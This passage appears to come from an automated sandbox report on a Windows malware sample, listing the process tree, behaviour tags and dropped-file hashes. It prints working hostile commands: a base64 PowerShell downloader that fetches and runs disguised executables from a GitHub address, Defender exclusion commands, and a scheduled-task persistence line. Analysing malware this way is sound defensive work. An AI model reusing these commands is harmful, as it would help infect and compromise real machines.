sAQQBiAGcAQgBrAEEARwA4AEEAZAB3AEIAVABBAEgAUQBBAGUAUQBCAHMAQQBHAFUAQQBJAEEAQgBJAEEARwBrAEEAWgBBAEIAawBBAEcAVQBBAGIAZwBBAGcAQQBDADAAQQBRAHcAQgB2AEEARwAwAEEAYgBRAEIAaABBAEcANABBAFoAQQBBAGcAQQBDAEkAQQBRAFEAQgBrAEEARwBRAEEATABRAEIATgBBAEgAQQBBAFUAQQBCAHkAQQBHAFUAQQBaAGcAQgBsAEEASABJAEEAWgBRAEIAdQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBSAFEAQgA0AEEARwBNAEEAYgBBAEIAMQBBAEgATQBBAGEAUQBCAHYAQQBHADQAQQBVAEEAQgBoAEEASABRAEEAYQBBAEEAZwBBAEMAYwBBAFEAdwBBADYAQQBGAHcAQQBWAHcAQgBwAEEARwA0AEEAWgBBAEIAdgBBAEgAYwBBAGMAdwBBAG4AQQBDAEkAQQBDAGcAQQBLAEEAQwBRAEEAZABRAEIAeQBBAEcAdwBBAE0AUQBBAGcAQQBEADAAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAGMAdwBBADYAQQBDADgAQQBMAHcAQgBuAEEARwBrAEEAZABBAEIAbwBBAEgAVQBBAFkAZwBBAHUAQQBHAE0AQQBiAHcAQgB0AEEAQwA4AEEAUQBRAEIAdABBAEcAbwBBAFkAUQBCAGsAQQBFAEkAQQBZAFEAQgBzAEEARwB3AEEAYwB3AEEAdgBBAEYAUQBBAFIAUQBCAFQAQQBGAFEAQQBMAHcAQgB5AEEARwBFAEEAZAB3AEEAdgBBAEgASQBBAFoAUQBCAG0AQQBIAE0AQQBMAHcAQgBvAEEARwBVAEEAWQBRAEIAawBBAEgATQBBAEwAdwBCAHQAQQBHAEUAQQBhAFEAQgB1AEEAQwA4AEEAUgBBAEIAcABBAEgATQBBAFkAdwBCAHYAQQBIAEkAQQBaAEEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEMAZwBBAGsAQQBIAFUAQQBjAGcAQgBzAEEARABJAEEASQBBAEEAOQBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEASABNAEEATwBnAEEAdgBBAEMAOABBAFoAdwBCAHAAQQBIAFEAQQBhAEEAQgAxAEEARwBJAEEATABnAEIAagBBAEcAOABBAGIAUQBBAHYAQQBFAEUAQQBiAFEAQgBxAEEARwBFAEEAWgBBAEIAQwBBAEcARQBBAGIAQQBCAHMAQQBIAE0AQQBMAHcAQgBVAEEARQBVAEEAVQB3AEIAVQBBAEMAOABBAGMAZwBCAGgAQQBIAGMAQQBMAHcAQgB5AEEARwBVAEEAWgBnAEIAegBBAEMAOABBAGEAQQBCAGwAQQBHAEUAQQBaAEEAQgB6AEEAQwA4AEEAYgBRAEIAaABBAEcAawBBAGIAZwBBAHYAQQBFAGMAQQBiAHcAQgB2AEEARwBjAEEAYgBBAEIAbABBAEUATQBBAGEAQQBCAHkAQQBHADgAQQBiAFEAQgBsAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAEsAQQBDAFEAQQBkAFEAQgB5AEEARwB3AEEATQB3AEEAZwBBAEQAMABBAEkAQQBBAG4AQQBHAGcAQQBkAEEAQgAwAEEASABBAEEAYwB3AEEANgBBAEMAOABBAEwAdwBCAG4AQQBHAGsAQQBkAEEAQgBvAEEASABVAEEAWQBnAEEAdQBBAEcATQBBAGIAdwBCAHQAQQBDADgAQQBRAFEAQgB0AEEARwBvAEEAWQBRAEIAawBBAEUASQBBAFkAUQBCAHMAQQBHAHcAQQBjAHcAQQB2AEEARgBRAEEAUgBRAEIAVABBAEYAUQBBAEwAdwBCAHkAQQBHAEUAQQBkAHcAQQB2AEEASABJAEEAWgBRAEIAbQBBAEgATQBBAEwAdwBCAG8AQQBHAFUAQQBZAFEAQgBrAEEASABNAEEATAB3AEIAdABBAEcARQBBAGEAUQBCAHUAQQBDADgAQQBaAFEAQgA0AEEASABBAEEAYgBBAEIAdgBBAEgASQBBAFoAUQBCAHkAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEASwBBAEMAUQBBAGQAUQBCAHkAQQBHAHcAQQBOAEEAQQBnAEEARAAwAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBjAHcAQQA2AEEAQwA4AEEATAB3AEIAbgBBAEcAawBBAGQAQQBCAG8AQQBIAFUAQQBZAGcAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMAOABBAFEAUQBCAHQAQQBHAG8AQQBZAFEAQgBrAEEARQBJAEEAWQBRAEIAcwBBAEcAdwBBAGMAdwBBAHYAQQBGAFEAQQBSAFEAQgBUAEEARgBRAEEATAB3AEIAeQBBAEcARQBBAGQAdwBBAHYAQQBIAEkAQQBaAFEAQgBtAEEASABNAEEATAB3AEIAbwBBAEcAVQBBAFkAUQBCAGsAQQBIAE0AQQBMAHcAQgB0AEEARwBFAEEAYQBRAEIAdQBBAEMAOABBAGMAdwBCADIAQQBHAE0AQQBhAEEAQgB2AEEASABNAEEAZABBAEEAdQBBAEcAVQBBAGUAQQBCAGwAQQBDAGMAQQBDAGcAQQBLAEEAQwBRAEEAYgBBAEIAdgBBAEcATQBBAFkAUQBCADAAQQBHAGsAQQBiAHcAQgB1AEEASABNAEEASQBBAEEAOQBBAEMAQQBBAFEAQQBBAG8AQQBBAG8AQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAFUAQQBjAHcAQgBsAEEASABJAEEAYwB3AEIAYwBBAEYAQQBBAGQAUQBCAGkAQQBHAHcAQQBhAFEAQgBqAEEARgB3AEEAUgBBAEIAdgBBAEgAYwBBAGIAZwBCAHMAQQBHADgAQQBZAFEAQgBrAEEASABNAEEAWABBAEIARQBBAEcAawBBAGMAdwBCAGoAQQBHADgAQQBjAGcAQgBrAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAHMAQQBBAG8AQQBJAEEAQQBnAEEAQwBBAEEASQBBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAFUAQQBjAHcAQgBsAEEASABJAEEAYwB3AEIAYwBBAEYAQQBBAGQAUQBCAGkAQQBHAHcAQQBhAFEAQgBqAEEARgB3AEEAUgBBAEIAdgBBAEgAYwBBAGIAZwBCAHMAQQBHADgAQQBZAFEAQgBrAEEASABNAEEAWABBAEIASABBAEcAOABBAGIAdwBCAG4AQQBHAHcAQQBaAFEAQgBEAEEARwBnAEEAYwBnAEIAdgBBAEcAMABBAFoAUQBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEATABBAEEASwBBAEMAQQBBAEkAQQBBAGcAQQBDAEEAQQBKAHcAQgBEAEEARABvAEEAWABBAEIAVgBBAEgATQBBAFoAUQBCAHkAQQBIAE0AQQBYAEEAQgBRAEEASABVAEEAWQBnAEIAcwBBAEcAawBBAFkAdwBCAGMAQQBFAFEAQQBiAHcAQgAzAEEARwA0AEEAYgBBAEIAdgBBAEcARQBBAFoAQQBCAHoAQQBGAHcAQQBaAFEAQgA0AEEASABBAEEAYgBBAEIAdgBBAEgASQBBAFoAUQBCAHkAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAcwBBAEEAbwBBAEkAQQBBAGcAQQBDAEEAQQBJAEEAQQBuAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARgBBAEEAZABRAEIAaQBBAEcAdwBBAGEAUQBCAGoAQQBGAHcAQQBSAEEAQgB2AEEASABjAEEAYgBnAEIAcwBBAEcAOABBAFkAUQBCAGsAQQBIAE0AQQBYAEEAQgB6AEEASABZAEEAWQB3AEIAbwBBAEcAOABBAGMAdwBCADAAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEASwBBAEMAawBBAEMAZwBBAEsAQQBFAGsAQQBiAGcAQgAyAEEARwA4AEEAYQB3AEIAbABBAEMAMABBAFYAdwBCAGwAQQBHAEkAQQBVAGcAQgBsAEEASABFAEEAZABRAEIAbABBAEgATQBBAGQAQQBBAGcAQQBDADAAQQBWAFEAQgB5AEEARwBrAEEASQBBAEEAawBBAEgAVQBBAGMAZwBCAHMAQQBEAEUAQQBJAEEAQQB0AEEARQA4AEEAZABRAEIAMABBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBJAEEAQQBrAEEARwB3AEEAYgB3AEIAagBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgB6AEEARgBzAEEATQBBAEIAZABBAEEAbwBBAFMAUQBCAHUAQQBIAFkAQQBiAHcAQgByAEEARwBVAEEATABRAEIAWABBAEcAVQBBAFkAZwBCAFMAQQBHAFUAQQBjAFEAQgAxAEEARwBVAEEAYwB3AEIAMABBAEMAQQBBAEwAUQBCAFYAQQBIAEkAQQBhAFEAQQBnAEEAQwBRAEEAZABRAEIAeQBBAEcAdwBBAE0AZwBBAGcAQQBDADAAQQBUAHcAQgAxAEEASABRAEEAUgBnAEIAcABBAEcAdwBBAFoAUQBBAGcAQQBDAFEAQQBiAEEAQgB2AEEARwBNAEEAWQBRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBIAE0AQQBXAHcAQQB4AEEARgAwAEEAQwBnAEIASgBBAEcANABBAGQAZwBCAHYAQQBHAHMAQQBaAFEAQQB0AEEARgBjAEEAWgBRAEIAaQBBAEYASQBBAFoAUQBCAHgAQQBIAFUAQQBaAFEAQgB6AEEASABRAEEASQBBAEEAdABBAEYAVQBBAGMAZwBCAHAAQQBDAEEAQQBKAEEAQgAxAEEASABJAEEAYgBBAEEAegBBAEMAQQBBAEwAUQBCAFAAQQBIAFUAQQBkAEEAQgBHAEEARwBrAEEAYgBBAEIAbABBAEMAQQBBAEoAQQBCAHMAQQBHADgAQQBZAHcAQgBoAEEASABRAEEAYQBRAEIAdgBBAEcANABBAGMAdwBCAGIAQQBEAEkAQQBYAFEAQQBLAEEARQBrAEEAYgBnAEIAMgBBAEcAOABBAGEAdwBCAGwAQQBDADAAQQBWAHcAQgBsAEEARwBJAEEAVQBnAEIAbABBAEgARQBBAGQAUQBCAGwAQQBIAE0AQQBkAEEAQQBnAEEAQwAwAEEAVgBRAEIAeQBBAEcAawBBAEkAQQBBAGsAQQBIAFUAQQBjAGcAQgBzAEEARABRAEEASQBBAEEAdABBAEUAOABBAGQAUQBCADAAQQBFAFkAQQBhAFEAQgBzAEEARwBVAEEASQBBAEEAawBBAEcAdwBBAGIAdwBCAGoAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEIAegBBAEYAcwBBAE0AdwBCAGQAQQBBAG8AQQBDAGcAQgBtAEEARwA4AEEAYwBnAEIAbABBAEcARQBBAFkAdwBCAG8AQQBDAEEAQQBLAEEAQQBrAEEARwB3AEEAYgB3AEIAagBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARwBrAEEAYgBnAEEAZwBBAEMAUQBBAGIAQQBCAHYAQQBHAE0AQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEgATQBBAEsAUQBBAGcAQQBIAHMAQQBDAGcAQQBnAEEAQwBBAEEASQBBAEEAZwBBAEYATQBBAGQAQQBCAGgAQQBIAEkAQQBkAEEAQQB0AEEARgBBAEEAYwBnAEIAdgBBAEcATQBBAFoAUQBCAHoAQQBIAE0AQQBJAEEAQQB0AEEARQBZAEEAYQBRAEIAcwBBAEcAVQBBAFUAQQBCAGgAQQBIAFEAQQBhAEEAQQBnAEEAQwBRAEEAYgBBAEIAdgBBAEcATQBBAFkAUQBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEATABRAEIAWABBAEcAawBBAGIAZwBCAGsAQQBHADgAQQBkAHcAQgBUAEEASABRAEEAZQBRAEIAcwBBAEcAVQBBAEkAQQBCAEkAQQBHAGsAQQBaAEEAQgBrAEEARwBVAEEAYgBnAEEAZwBBAEMAMABBAFYAdwBCAGgAQQBHAGsAQQBkAEEAQQBLAEEASAAwAEEAIgA=
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2724
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAiAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQAnACIACgBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQwBvAG0AbQBhAG4AZAAgACIAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACIACgBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQwBvAG0AbQBhAG4AZAAgACIAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgAnACIACgBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQwBvAG0AbQBhAG4AZAAgACIAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcATwBXADYANAAnACIACgBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQwBvAG0AbQBhAG4AZAAgACIAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwAnACIACgAKACQAdQByAGwAMQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AQQBtAGoAYQBkAEIAYQBsAGwAcwAvAFQARQBTAFQALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8ARABpAHMAYwBvAHIAZAAuAGUAeABlACcACgAkAHUAcgBsADIAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAEEAbQBqAGEAZABCAGEAbABsAHMALwBUAEUAUwBUAC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAEcAbwBvAGcAbABlAEMAaAByAG8AbQBlAC4AZQB4AGUAJwAKACQAdQByAGwAMwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AQQBtAGoAYQBkAEIAYQBsAGwAcwAvAFQARQBTAFQALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AZQB4AHAAbABvAHIAZQByAC4AZQB4AGUAJwAKACQAdQByAGwANAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AQQBtAGoAYQBkAEIAYQBsAGwAcwAvAFQARQBTAFQALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AcwB2AGMAaABvAHMAdAAuAGUAeABlACcACgAKACQAbABvAGMAYQB0AGkAbwBuAHMAIAA9ACAAQAAoAAoAIAAgACAAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwARABvAHcAbgBsAG8AYQBkAHMAXABEAGkAcwBjAG8AcgBkAC4AZQB4AGUAJwAsAAoAIAAgACAAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwARABvAHcAbgBsAG8AYQBkAHMAXABHAG8AbwBnAGwAZQBDAGgAcgBvAG0AZQAuAGUAeABlACcALAAKACAAIAAgACAAJwBDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAEQAbwB3AG4AbABvAGEAZABzAFwAZQB4AHAAbABvAHIAZQByAC4AZQB4AGUAJwAsAAoAIAAgACAAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwARABvAHcAbgBsAG8AYQBkAHMAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAJwAKACkACgAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBsADEAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGwAbwBjAGEAdABpAG8AbgBzAFsAMABdAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAMgAgAC0ATwB1AHQARgBpAGwAZQAgACQAbABvAGMAYQB0AGkAbwBuAHMAWwAxAF0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAbAAzACAALQBPAHUAdABGAGkAbABlACAAJABsAG8AYwBhAHQAaQBvAG4AcwBbADIAXQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBsADQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGwAbwBjAGEAdABpAG8AbgBzAFsAMwBdAAoACgBmAG8AcgBlAGEAYwBoACAAKAAkAGwAbwBjAGEAdABpAG8AbgAgAGkAbgAgACQAbABvAGMAYQB0AGkAbwBuAHMAKQAgAHsACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAbABvAGMAYQB0AGkAbwBuACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AVwBhAGkAdAAKAH0A
              5⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3284
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4108
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Downloads'"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:232
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4196
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64'"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:3196
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4592
              • C:\Users\Public\Downloads\Discord.exe
                "C:\Users\Public\Downloads\Discord.exe"
                6⤵
                • Checks computer location settings
                • Drops startup file
                • Executes dropped EXE
                • Adds Run key to start application
                • Checks processor information in registry
                • Enumerates system info in registry
                • Suspicious use of WriteProcessMemory
                PID:928
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Downloads\Discord.exe'
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5016
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Discord.exe'
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3300
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Discord'
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4512
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Discord'
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2268
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Discord" /tr "C:\ProgramData\Discord"
                  7⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:1196
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4320
    • C:\ProgramData\Discord
      "C:\ProgramData\Discord"
      1⤵
      • Executes dropped EXE
      PID:3416
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x4 /state0:0xa39ea055 /state1:0x41c64e6d
      1⤵
      • Modifies data under HKEY_USERS
      • Suspicious use of SetWindowsHookEx
      PID:1488

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      713ad359b75fe6d947468ec1825202b9

      SHA1

      19dcd19f18a2ad6deb581451aad724bd44a592a4

      SHA256

      56572269ec031c63d966c6d3b4712600b908d38826c59c0f9a8225d0a783e9f4

      SHA512

      4df344dec422bed85b186909dc7f9c35126b3bb45e100f18fb95b4a9943ace242479adf5f0194b054d38b67032498f897a5a54b49026efee0c4797cb5a5e54e8

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      b1abdbdb6d34d50d53665d0f81ba92af

      SHA1

      06a32a552a671b934947f375b4d5ba3f05e25c03

      SHA256

      ae40352cc89ee816d6d8a3048f50e087fd2e3899b988385814d392924ddedb51

      SHA512

      92530247cc38b42ba550032eb73393e94f20ae5776f7819d0f7afdd905147b5f78fa674568146357b617e91f4cf692ec190c08f457bf66771f0201d3662a52b1

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      6beb9db6d7549b07271688e9772067dc

      SHA1

      410b3c6ffa33c17697a005ae2ca02abb92c2e8ac

      SHA256

      6b830d4238dcf55ab6d900a1422bc43c1fea43e8b0f4746b3a18d978cefd9142

      SHA512

      ab84281af54d1d217fe9feb8d18b9b2b1893437ab84c160a93a9edffe0e4b95e67a5a6412cedb938c463d9e8ad45ea8582fe91c0ed42a5946ae3e0a1857add1b

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      1e18d3feae4551342d31800402fabd45

      SHA1

      41c9e828038f974f0ad13a62327a46e4ec53d397

      SHA256

      1ebefb746482c9d9f5139fdb315f6bc1da421da923832c1794440d0665955c8d

      SHA512

      b61e5cc0607da1216de1b4bb991a177c381bd1cdd35889405e67ca6908fb1591683b7b5d54bb25dd0e1dae49eb34487f0a620e18499dc1e24bc037fa3377edd5

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      322d9bbb718e9d3985f131233f6a1911

      SHA1

      969a679348ec23f00ac2d31b2b1b6ce8570b6e21

      SHA256

      e3e3c6b847f77d8bc467b69d25beb685e9c1b92e5b23cedfb54983c4accffc0b

      SHA512

      7febf8b78849dbc0279cd641465fa32b6af803c4d96ccabe4c24e0047ce93d7b21c635324cae4456a6cd2a792dbe9fe199a048092a87ed531566420cd6f4fb48

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      ef923c695bef2de3f66abe2a2b46fa33

      SHA1

      130782d6138d1ecd465d86c28880f76c27b8b929

      SHA256

      fd38e46bae7db21bf9a39808dd648e31b11b6aabf65d0c8e42a8f429912ac26e

      SHA512

      01294761766d74dac66ed48184f29ded9d22f54133ab9ca1f5734d4b835e52eb060f61bcf620c2bb8e90b39defb55e5719f7f3cce583e6b8ecc4f70619e12b91

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      64B

      MD5

      1a11402783a8686e08f8fa987dd07bca

      SHA1

      580df3865059f4e2d8be10644590317336d146ce

      SHA256

      9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

      SHA512

      5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      5e22dd1cda88782a1f52f76e748ef957

      SHA1

      3231826619a06fa541e2bfb21da445bd7013b5ac

      SHA256

      73302eedcdcfa0f9639f0d00e50c19f7ff4b7bab9df431cfee38e4b94bd4ecec

      SHA512

      75039c01812a7c0bef9fc2d0b4b8867c9acf2daf6a8ade8171d8edc7c0a2ff11488554d30397fee424922346394f14eef7518943db769c35e6916bee26f16498

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      4e78029926f09dd649c9e22d3363a196

      SHA1

      a0fac93ccc3505d9e6857b88f407eab164e49c34

      SHA256

      139b33af77e785669116fa61214dc8d959944a478e718ad3e90cb4f52bf32b1c

      SHA512

      5335f3eaad27499d9ecb6f3ec42e3c84d2293eeb2f3d64a72ce42a3d4ebf54793b9c179e39119bd27656c366deae946e231070cb5a00f09e2e7101e908f93039

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ce1i3crk.cvv.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
      Filesize

      6KB

      MD5

      a9ee5c1452839d6cdda0c743ebebce29

      SHA1

      9ca389b8a384b2675ecc0a74642580db0ec90ba1

      SHA256

      7d76aacb06f58b2154ac6140fe43a193079a2385675ce8fbb4d0ff41566f74bf

      SHA512

      28e0f300f8c16b2226194c3b8e24db009b6febf2836c0a6f7376699c4bef8b9987fd4d2bbed90db4d26d7af033b8917a2d877acff9b13d489452dfc5c73d1b08

      Download Submit

